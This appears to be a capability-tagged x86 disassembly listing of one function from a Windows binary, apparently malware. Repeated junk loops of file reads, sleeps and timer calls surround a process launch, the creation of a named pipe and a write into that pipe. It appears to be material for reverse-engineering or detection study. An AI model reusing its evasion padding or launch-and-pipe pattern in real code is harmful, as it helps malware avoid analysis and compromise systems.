Function at 0x131513fd
Capabilities:
Connect pipe
Create pipe
Create process on windows
Get file attributes
Read file on windows
Write and execute a file
Write file on windows
Write pipe

Disassembly:
sub esp, 0x520
mov eax, dword [0x13182360]
xor eax, esp
mov dword [esp + 0x51c], eax
mov eax, dword [esp + 0x524]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push edi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push ebx
mov edi, 0x80000000
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x54c]
push edi
mov ebp, str.lksdjfjds
push ebp
mov dword [esp + 0x34], eax
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13151471
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131514ad
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13151489
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push ebp
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131514ec
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151528
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13151504
push 0x5c
pop eax
push 0x70
pop ecx
push 0x24
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x40], eax
pop eax
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push ebp
mov dword [esp + 0x40], 0x2e
mov dword [esp + 0x48], ecx
mov dword [esp + 0x4c], 0x69
mov dword [esp + 0x50], ecx
mov dword [esp + 0x54], 0x65
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], 0x25
mov dword [esp + 0x64], 0x64
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], ebx
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131515bc
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131515f8
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131515d4
push pe_nt_image_headers32
lea eax, [esp + 0x70]
push ebx
push eax
call fcn.131556d0
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push ebp
mov dword [esp + 0x84], 0x44
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13151652
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315168e
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315166a
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push ebp
mov dword [esp + 0xb0], 1
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131516d8
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
xor edi, edi
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151710
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, edi
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc edi
cmp edi, 0xd
jl 0x131516ee
xor eax, eax
mov dword [esp + 0x58], ebx
lea edi, [esp + 0x5c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x6c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [esp + 0x34]
mov word [esp + 0xbc], bx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x1315177e
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edi, dword [sym.imp.WINMM.dll_timeGetTime]
call edi
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131517b8
call edi
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13151798
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131517fb
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call edi
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315182f
call edi
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315180f
xor eax, eax
lea ecx, [esp + eax*4 + 0x1c]
cmp dword [ecx], ebx
je 0x1315185c
mov cl, byte [ecx]
mov byte [esp + eax + 0x12c], cl
mov byte [esp + eax + 0x12d], bl
inc eax
cmp eax, 0xfffff
jl 0x1315183c
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13151894
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call edi
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131518c8
call edi
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131518a8
push 0xf00d
lea eax, [esp + 0x130]
push eax
lea eax, [esp + 0x334]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13151929
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call edi
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315195d
call edi
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315193d
push ebx
push 0x7530
mov eax, 0x1000
push eax
push eax
push 0xff
push 6
push 3
lea eax, [esp + 0x348]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateNamedPipeA]
push ebx
push eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.DLL_ConnectNamedPipe]
test eax, eax
je 0x13151bb7
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131519d8
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call edi
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151a0c
call edi
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131519ec
push 0x80
lea eax, [esp + 0xb0]
push ebx
push eax
call fcn.131556d0
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13151a65
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call edi
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151a99
call edi
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13151a79
push dword [esp + 0x18]
lea eax, [esp + 0xb0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13151aee
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call edi
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151b22
call edi
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13151b02
push ebx
lea eax, [esp + 0x58]
push eax
push pe_nt_image_headers32
lea eax, [esp + 0xb8]
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ebp
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13151b7f
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call edi
add dword [0x131833d4], eax
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13151bad
call edi
add eax, ebx
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc ebx
cmp ebx, 0xd
jl 0x13151b8f
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x52c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1315574a
add esp, 0x520
ret